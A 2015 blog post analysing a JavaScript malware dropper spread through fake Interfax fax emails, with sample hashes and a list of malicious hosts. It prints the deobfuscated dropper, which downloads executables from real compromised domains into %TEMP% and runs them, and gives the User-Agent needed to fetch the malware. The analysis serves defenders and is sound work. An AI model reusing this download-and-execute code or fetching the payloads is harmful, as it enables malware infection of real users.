The raise of Javascript-droppers

interfaxgraphic A few weeks ago, i got the following email:

New incoming fax document.

Scanned fax document is attached to this email.

Sender:            Lonnie Sloan
File name:         scan-00273548.doc
Scan duration:     48 seconds
Scanned:           Thu, 29 Oct 2015 1640 +0300
Filesize:          186 Kb
Resolution:        600 DPI
Pages scanned:     10

Thanks for using Interfax service!

First I’ve thought thats just spam as usual. But this time it should be a big malware campaign. Let us check out the attachment scan-00273548.zip. If we unpack the zip-archive we will get a .doc.js file.. nice try.

sourcecode of .doc.js file

Ok thats messy. I’ve found a simple regex for deobfuscating it: %s/; };/; };\r/g. Now we have one function per line and can watch over it without headache. Seems like it’s some simple arithmetic. They have in every function a string and just return the string for adding the string with another string. And the last function is executing the constructed string. In this sample this payload lies in the mzvc-variable:

var b = "hourlywhy.com yoakumdentalcare.com ncdivers.com".split(" "); 
var ws = WScript.CreateObject("WScript.Shell"); 
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"377492"; 
var xo = WScript.CreateObject("MSXML2.XMLHTTP"); 
var xa = WScript.CreateObject("ADODB.Stream"); 
var ld = 0; 
for (var n=1; n<=3; n++) { 
  for (var i=ld; i<b.length; i++) { 
    var dn = 0; 
    try { 
      xo.open("GET","http://"+b[i]+"/counter/?id="+str+"&rnd=167506"+n, false); 
      xo.send(); 
      if (xo.status == 200) { 
        xa.open(); 
        xa.type = 1; 
        xa.write(xo.responseBody); 
        if (xa.size > 1000) { 
          dn = 1; 
          xa.position = 0; 
          xa.saveToFile(fn+n+".exe",2); 
          try {  ws.Run(fn+n+".exe",1,0); } 
          catch (er) { }; 
        }; 
        xa.close(); 
      }; 
      if (dn == 1) { 
        ld = i; 
        break; 
      }; 
    } 
    catch (er) { }; 
  }; 
};

The payload is really simple. It tries to download for every URL in var b three executables. These executables will be saved in %TEMP% named as fn+n. fn is a random number and n is the iteration number. After downloading the executable the executable will be executet via Wscript (Windows Script Host). During my further analysis I had problems with downloading these executables until I realized that they are looking for the User-Agent.

if you use this user-agent downloading the malware should work:

“Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)”

I have waited a few weeks because i was collecting some malware :-) I have currently the following samples (I named the dropper ‘JS.Dropper.Interfax’ because it’s specific for the malware to use interfax.org for spreading the dropper. If you have a better name for it. Email me):

Windows/JS.Dropper.Interfax (packed):
-------------------------------------
078a3a2c2744856fbb2deae4d0b1b15aa0bc79346e57ffbbc8876bbe34da1722  document-0000120162.zip
acdcb89485de692c76d3f4bae8700184a39e368c8f20292a04dd235953479703  document000844424.zip
b9aefe4358b7aaae18671b2491343b3c12c2e6fda65178b7027aa0a62c23bd96  document-00493976.zip
eee0d46c202904e73a19f087035084ca9b804191cb957710fc4ed0b54c234e8b  fax-00000388383.zip
71ccc854bfac394d863252bad9e8d69b32aa8429c27f14d25f8907b8e4302e8d  fax00000721266.zip
54f9a4b132259e2b096c35932b27b265e3328fd2bec2d224789d3a8e521296a8  fax00000963122.zip
9aea166df797240fd9612c0c87717bc5db9c2de0efa779d4975d6dc0cd165233  scan-00273548.zip
7c3c8f74d751381cf360edd2a913aaad2ea8767b3f0c3b11260df3fceb48d44b  scanned00000466902.zip
dfe74d27c02d0f2f201d7180cac78f6c12eed48e478c08f0db2e8fd7e527764f  scanned00000786175.zip
6616391c320b734833ecc30875736512abfa8fce6ca916b20fd8f797e08d62b8  scanned-0000585088.zip
35be069c758c7f7baf4dfa43a25ee7ec7744e8b35b51ee36f0358ddfbc425ac4  task-000192629.zip

Windows/JS.Dropper.Interfax (unpacked):
---------------------------------------
46e65c323d22f4b533d741b12ad408d365c7957c8d908b7dbf02dbaf3ac650b1  document-0000120162.doc.js
263abf3b1fdcf7e86e7a5ca1faab4545b7804b2fe5faf52653dca27229a84861  document000844424.doc.js
596ef4c34ee520d8520bb3f5c146d4e4458c2f40faf18a04b7fc14481bc27fde  document-00493976.doc.js
9c166377154de93c854a36313a324fae142483312c717de2999f872e168edde2  fax-00000388383.doc.js
88159e201ca2aef52128d95d9cee03f4ce5d6e40d30632d8a8e28fc0f169f23c  fax00000721266.doc.js
4c78627eaaa9d4cd9af267fd530e62246fb185de774d5a2e92b2bab5c182881c  fax00000963122.doc.js
f078e53f18cf9a377abcb6495d5c11fdb395358e2ec1a3bc734711bca260ec9e  scan-00273548.doc.js
d17784706095e4b405024271cb3306fedd1c59970f8a97f4aed8046da3ff1c56  scanned00000466902.doc.js
a8627e18740d52db10307cd92fd3e6f909ca4c4a821d4d0efe2abbb3fa2116ab  scanned00000786175.doc.js
76db30fb90348144baf6ef32e16964fe6ccc12c7f59e499ac1f9ac0015cad30b  scanned-0000585088.doc.js
a1ca539279e07bd0d919e428cba8aa10588285b61317b4a0b2fc3005c08267db  task-000192629.doc.js

With these js-droppers I have collected the following Windows-Binaries:

Gen:Variant.Zusy.170761 (F-Secure):
-----------------------------------
0bd57c22d752e93db99be65be5d66568fc07a1eca23b50ddbfd61856f36615c3  amperspective.com.2.5400081
3891cd32a612b901127c5c54d97498fd48286648c3706b6086fb1bccad773b2a  boulevardeasttrading.com.4484331
5165fcdc2e73459603db0ddf365a12327681be7f542e7437b115da2feacfbbb3  www.fourmorehours.com.4484331

Trojan.Win32.VBKryjetor.wmt (Kaspersky):
----------------------------------------
7e583c0405e21f1f8a6bc9b2c653ba4c362d05fbee30642d92f72bd5da18cfa0  amperspective.com.2.5400082

Trojan.SecurityDefender.A (F-Secure):
-------------------------------------
daf4d96a121c9e4935082d4e0264088ff352f14d868f8720d8fa7e4f99c82f05  arivusampark.com.2.9634923

Trojan:W32/Emotet.B (F-Secure):
-------------------------------
e3348cb2fadfbe841cc797fa0512df78b3ab214c5dbd561410aaa25230601c9a  boulevardeasttrading.com.9475671

UDS:DangerousObject.Multi.Generic (Kaspersky):
----------------------------------------------
d93c77d44220fcea930a04d825151a70dacd4b9c347b2c7fbbcff21e7a62fbf6  boulevardeasttrading.com.9475672

TR/Kazy.219184 (Avira):
-----------------------
860da096755a08c53f8fe83a134409f75d2a43b21898c96aa12dc98a4a5e2fca  cdkproperties.com.614011

Trojan.Win32.VBKryjetor.wlh (Kaspersky):
----------------------------------------
903cc80683dd05bafb51028896574c7334929b4dd944222660dc2ec72bcdc52b  cdkproperties.com.614012

Sorry for the different AV-Vendors. But some of the malware was nearly undetected. For example this one here:

Virustotalreport

I have created a shellscript for downloading the most of the samples automatically:

shellscript

Here is a list of all malicious hosts:

monarchexcess2.com : 108.59.241.6
============================================================
OrgName:        Earthlink, Inc.
Country:        US
RegDate:        2010-12-03
Updated:        2014-03-20


foy.enlightenedtours.com : 74.220.207.140
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2007-01-09
Updated:        2011-11-29


liveoakresort.com : 68.164.182.11
============================================================
OrgName:        MegaPath Corporation
OriginAS:       AS18566
Country:        US
RegDate:        2002-11-12
Updated:        2013-10-08


arivusampark.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


kennedy.sitoserver.com : 174.121.246.162
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24


cjet.com.br : 173.0.142.43
============================================================
OrgName:        Apyl Inc
OriginAS:       AS53628
Country:        US
RegDate:        2010-11-04
Updated:        2010-11-04


j-hsu.com : 69.89.27.244
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2006-10-02
Updated:        2012-11-14


cdkproperties.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


pdeluxedesign.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


monarchexcess2.com : 108.59.241.6
============================================================
OrgName:        Earthlink, Inc.
Country:        US
RegDate:        2010-12-03
Updated:        2014-03-20


amperspective.com : 74.50.28.190
============================================================
OrgName:        Lunar Pages
Country:        US
RegDate:        2007-03-13
Updated:        2014-05-22


samiragallery.com : 174.121.79.34
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24


vikramprabu.com : 207.182.142.219
============================================================
OrgName:        eNET Inc.
Country:        US
RegDate:        2008-03-03
Updated:        2012-03-02


hourlywhy.com : 74.220.207.189
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2007-01-09
Updated:        2011-11-29


yoakumdentalcare.com : 98.139.135.129
============================================================
OrgName:        Yahoo! Inc.
Country:        US

ncdivers.com : 173.254.28.148
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2010-10-05
Updated:        2012-11-14


visidian.com : 209.200.79.215
============================================================
OrgName:        CrystalTech Web Hosting Inc.
OriginAS:       AS14992
Country:        US
RegDate:        2004-06-22
Updated:        2010-01-25


kindernestmumbai.com : 199.79.62.161
============================================================
OrgName:        Confluence Networks Inc
OriginAS:       AS32787, AS40034
Country:        US
RegDate:        2012-07-02
Updated:        2012-07-02


www.fourmorehours.com : 108.168.206.100
============================================================
OrgName:        SoftLayer Technologies Inc.
OriginAS:       AS36351
Country:        US
RegDate:        2012-01-06
Updated:        2013-07-12


www.pclradiotv.com : 192.155.192.181
============================================================
OrgName:        SoftLayer Technologies Inc.
Country:        US
RegDate:        2014-04-25
Updated:        2014-04-25


boulevardeasttrading.com : 174.120.146.122
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24

escuela.zenpropiedades.com : 38.105.13.45
============================================================
OrgName:        PSINet, Inc.
OriginAS:       AS174
Country:        US
RegDate:        1991-04-16
Updated:        2011-05-20

www.oldenburg.cl : 50.22.11.30
============================================================
OrgName:        SoftLayer Technologies Inc.
OriginAS:       AS36351
Country:        US
RegDate:        2010-11-01
Updated:        2013-07-12

onworldwide.com : 74.103.245.123
============================================================
OrgName:        Verizon Online LLC
Country:        US
RegDate:        2009-01-26
Updated:        2012-03-02

893 Words

2015-11-29 12:13 +0000